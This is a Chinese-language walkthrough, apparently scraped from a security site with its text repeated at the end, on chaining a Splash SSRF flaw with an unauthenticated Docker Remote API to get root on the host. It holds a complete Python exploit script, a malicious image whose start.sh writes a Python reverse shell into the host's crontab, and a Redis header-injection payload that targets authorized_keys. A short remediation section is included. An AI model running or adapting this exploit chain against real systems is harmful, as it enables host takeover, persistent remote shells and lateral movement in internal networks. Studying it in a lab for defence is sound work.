Splash SSRF到获取内网服务器ROOT权限
字数 2076 2025-08-29 08:31:41

Splash SSRF漏洞利用与内网渗透实战指南

0x01 漏洞概述

Splash是一个基于Python3、Twisted和QT5开发的JavaScript渲染服务,提供HTTP API的轻量级浏览器功能。默认监听8050(http)和5023(telnet)端口。

漏洞核心:Splash允许用户提供任意URL进行页面渲染,但未对URL进行有效验证,导致存在带回显的SSRF漏洞。与普通SSRF不同,Splash不仅支持GET请求,还支持POST请求,这大大扩展了攻击面。

攻击场景:攻击者可以利用此SSRF漏洞结合内网Docker Remote API,最终获取宿主机的root权限,实现内网漫游。

0x02 环境搭建

实验环境配置

  1. 网络拓扑

    • Attacker: 192.168.1.213 (宿主机)
    • Victim:
      • 外网IP: 192.168.1.120
      • 内网IP: 172.16.10.74 (Host-only模式)
  2. 服务部署

    • Splash: http://192.168.1.120:8050 (v2.2.1)
    • Docker Remote API: http://172.16.10.74:2375 (17.06.0-ce)
    • JIRA: http://172.16.10.74:8080

Docker配置关键步骤

  1. 修改Docker配置监听TCP 2375端口:

    # /etc/default/docker添加
    DOCKER_OPTS="-H tcp://172.16.10.74:2375"
    
    # 创建并配置docker.service.d
    mkdir /etc/systemd/system/docker.service.d/
    vim /etc/systemd/system/docker.service.d/docker.conf
    

    内容为:

    [Service]
    ExecStart=
    EnvironmentFile=/etc/default/docker
    ExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS
    
  2. 重启Docker服务:

    systemctl daemon-reload
    service docker restart
    
  3. 验证监听:

    netstat -antp | grep LISTEN
    curl 172.16.10.74:2375
    

服务启动命令

  1. 启动Splash:

    docker pull scrapinghub/splash:2.2.1
    docker run --name=splash -d -p 5023:5023 -p 8050:8050 -p 8051:8051 scrapinghub/splash:2.2.1
    
  2. 启动JIRA:

    docker pull cptactionhank/atlassian-jira:latest
    docker run -d -p 172.16.10.74:8080:8080 --name=jira cptactionhank/atlassian-jira:latest
    

0x03 漏洞利用过程

1. 基本SSRF验证

访问Splash界面(http://192.168.1.120:8050/),在URL输入框填写内网地址(如http://172.16.10.74:8080),点击"Render me!",可获取:

  • 页面截图
  • 请求信息
  • 页面源码

等同于一个内网浏览器,验证了SSRF漏洞的存在。

2. Lua脚本尝试

Splash支持执行自定义Lua脚本,但运行在沙箱环境中,默认可用的Lua模块有限:

  • string
  • table
  • math
  • os

尝试通过os模块执行系统命令失败:

local os = require("os")
function main(splash)
end

3. 通过Docker Remote API获取宿主机root权限

攻击思路

  1. 利用POST请求调用Docker API
  2. 挂载宿主机/etc目录到容器
  3. 通过写入crontab实现反弹shell

关键步骤

1) 准备恶意Docker镜像

Dockerfile:

FROM busybox:latest
ADD ./start.sh /start.sh
WORKDIR /

start.sh:

#!/bin/sh
echo 'root python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\''' >> /hostdir/crontab

构建并推送镜像:

docker build -t b1ngz/busybox:latest .
docker push b1ngz/busybox:latest

2) 利用脚本实现攻击

完整Python利用脚本:

# -*- coding: utf-8 -*-
import json
import re
import requests

def pull_image(api, docker_api, image_name, image_tag):
    print("pull image: %s:%s" % (image_name, image_tag))
    url = "%s/render.html" % api
    docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag)
    params = {
        'url': docker_url,
        'http_method': 'POST',
        'body': '',
        'timeout': 60
    }
    resp = requests.get(url, params=params)

def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port):
    image = "%s:%s" % (image_name, image_tag)
    body = {
        "Image": image,
        "Volumes": {
            "/etc": {
                "bind": "/hostdir",
                "mode": "rw"
            }
        },
        "HostConfig": {
            "Binds": ["/etc:/hostdir"]
        },
        "Cmd": [
            '/bin/sh',
            '/start.sh',
            shell_host,
            str(shell_port),
        ],
    }
    url = "%s/render.html" % api
    docker_url = '%s/containers/create' % docker_api
    params = {
        'http_method': 'POST',
        'url': docker_url,
        'timeout': 60
    }
    resp = requests.post(url, params=params, json={
        'headers': {'Content-Type': 'application/json'},
        "body": json.dumps(body)
    })
    result = re.search('"Id":"(\w+)"', resp.text)
    container_id = result.group(1)
    return container_id

def start_container(api, docker_api, container_id):
    url = "%s/render.html" % api
    docker_url = '%s/containers/%s/start' % (docker_api, container_id)
    params = {
        'http_method': 'POST',
        'url': docker_url,
        'timeout': 10
    }
    resp = requests.post(url, params=params, json={
        'headers': {'Content-Type': 'application/json'},
        "body": ""
    })

if __name__ == '__main__':
    # 配置参数
    splash_host = '192.168.1.120'
    splash_port = 8050
    docker_host = '172.16.10.74'
    docker_port = 2375
    shell_host = '192.168.1.213'
    shell_port = 12345
    
    splash_api = "http://%s:%d" % (splash_host, splash_port)
    docker_api = 'http://%s:%d' % (docker_host, docker_port)
    image_name = 'b1ngz/busybox'
    image_tag = 'latest'
    
    # 执行攻击步骤
    pull_image(splash_api, docker_api, image_name, image_tag)
    container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port)
    start_container(splash_api, docker_api, container_id)

关键点说明

  1. 必须使用POST方法请求render.html接口
  2. Headers需要在body中以JSON格式传递
  3. 攻击流程分为三步:拉取镜像、创建容器、启动容器

4. 其他利用思路

Redis利用尝试

虽然Splash基于QTWebKit默认不支持gopher协议,但测试发现请求headers可控且支持\n换行,可尝试攻击Redis:

def test_get(api, redis_api):
    url = "%s/render.html" % api
    params = {
        'url': redis_api,
        'timeout': 10
    }
    resp = requests.post(url, params=params, json={
        'headers': {
            'config set dir /root\n'
            'config set dbfilename authorized_keys\n': ''
        }
    })

实际测试发现Redis 3.2.8会发出安全警告并中断连接,但部分命令已执行。

0x04 修复方案

1. Splash修复

  1. 添加认证机制

    • 临时方案:使用Basic认证
    • 彻底修复:修改代码实现完善的认证功能
  2. 输入验证

    • 对用户提供的URL进行严格验证
    • 限制可访问的网络范围

2. Docker安全配置

  1. 端口保护

    • 使用iptables限制2375/2376端口访问
    • 仅允许管理节点访问工作节点的端口
    • 管理节点端口设置IP白名单
  2. 版本升级

    • 使用最新稳定版Docker
    • 启用TLS认证

0x05 攻击流程总结

  1. 发现Splash SSRF漏洞
  2. 利用POST请求能力探测内网服务
  3. 发现Docker Remote API未授权访问
  4. 构造恶意Docker镜像并推送至Docker Hub
  5. 通过SSRF调用Docker API拉取镜像
  6. 创建并启动容器,挂载宿主机/etc目录
  7. 通过写入crontab实现定时任务反弹shell
  8. 获取宿主机root权限,实现内网漫游

附录:技术要点备忘

  1. Splash API关键参数

    • url: 请求的目标URL
    • http_method: 请求方法(GET/POST)
    • headers: 请求头(需在body中以JSON传递)
    • body: 请求体
    • timeout: 超时时间
  2. Docker Remote API关键端点

    • POST /images/create - 拉取镜像
    • POST /containers/create - 创建容器
    • POST /containers/(id)/start - 启动容器
  3. 反弹Shell原理

    • 通过python -c执行socket连接
    • 将标准输入/输出/错误重定向到socket
    • 通过crontab实现持久化
  4. 漏洞利用难点

    • 必须使用POST方法请求render.html
    • Headers需要在body中以JSON格式传递
    • Docker API调用需要构造正确的JSON数据
Splash SSRF漏洞利用与内网渗透实战指南 0x01 漏洞概述 Splash是一个基于Python3、Twisted和QT5开发的JavaScript渲染服务,提供HTTP API的轻量级浏览器功能。默认监听8050(http)和5023(telnet)端口。 漏洞核心 :Splash允许用户提供任意URL进行页面渲染,但未对URL进行有效验证,导致存在 带回显的SSRF漏洞 。与普通SSRF不同,Splash不仅支持GET请求,还支持POST请求,这大大扩展了攻击面。 攻击场景 :攻击者可以利用此SSRF漏洞结合内网Docker Remote API,最终获取宿主机的root权限,实现内网漫游。 0x02 环境搭建 实验环境配置 网络拓扑 : Attacker: 192.168.1.213 (宿主机) Victim: 外网IP: 192.168.1.120 内网IP: 172.16.10.74 (Host-only模式) 服务部署 : Splash: http://192.168.1.120:8050 (v2.2.1) Docker Remote API: http://172.16.10.74:2375 (17.06.0-ce) JIRA: http://172.16.10.74:8080 Docker配置关键步骤 修改Docker配置监听TCP 2375端口: 内容为: 重启Docker服务: 验证监听: 服务启动命令 启动Splash: 启动JIRA: 0x03 漏洞利用过程 1. 基本SSRF验证 访问Splash界面(http://192.168.1.120:8050/),在URL输入框填写内网地址(如http://172.16.10.74:8080),点击"Render me !",可获取: 页面截图 请求信息 页面源码 等同于一个内网浏览器,验证了SSRF漏洞的存在。 2. Lua脚本尝试 Splash支持执行自定义Lua脚本,但运行在沙箱环境中,默认可用的Lua模块有限: string table math os 尝试通过os模块执行系统命令失败: 3. 通过Docker Remote API获取宿主机root权限 攻击思路 : 利用POST请求调用Docker API 挂载宿主机/etc目录到容器 通过写入crontab实现反弹shell 关键步骤 : 1) 准备恶意Docker镜像 Dockerfile: start.sh: 构建并推送镜像: 2) 利用脚本实现攻击 完整Python利用脚本: 关键点说明 : 必须使用POST方法请求render.html接口 Headers需要在body中以JSON格式传递 攻击流程分为三步:拉取镜像、创建容器、启动容器 4. 其他利用思路 Redis利用尝试 虽然Splash基于QTWebKit默认不支持gopher协议,但测试发现请求headers可控且支持\n换行,可尝试攻击Redis: 实际测试发现Redis 3.2.8会发出安全警告并中断连接,但部分命令已执行。 0x04 修复方案 1. Splash修复 添加认证机制 : 临时方案:使用Basic认证 彻底修复:修改代码实现完善的认证功能 输入验证 : 对用户提供的URL进行严格验证 限制可访问的网络范围 2. Docker安全配置 端口保护 : 使用iptables限制2375/2376端口访问 仅允许管理节点访问工作节点的端口 管理节点端口设置IP白名单 版本升级 : 使用最新稳定版Docker 启用TLS认证 0x05 攻击流程总结 发现Splash SSRF漏洞 利用POST请求能力探测内网服务 发现Docker Remote API未授权访问 构造恶意Docker镜像并推送至Docker Hub 通过SSRF调用Docker API拉取镜像 创建并启动容器,挂载宿主机/etc目录 通过写入crontab实现定时任务反弹shell 获取宿主机root权限,实现内网漫游 附录:技术要点备忘 Splash API关键参数 : url: 请求的目标URL http_ method: 请求方法(GET/POST) headers: 请求头(需在body中以JSON传递) body: 请求体 timeout: 超时时间 Docker Remote API关键端点 : POST /images/create - 拉取镜像 POST /containers/create - 创建容器 POST /containers/(id)/start - 启动容器 反弹Shell原理 : 通过python -c执行socket连接 将标准输入/输出/错误重定向到socket 通过crontab实现持久化 漏洞利用难点 : 必须使用POST方法请求render.html Headers需要在body中以JSON格式传递 Docker API调用需要构造正确的JSON数据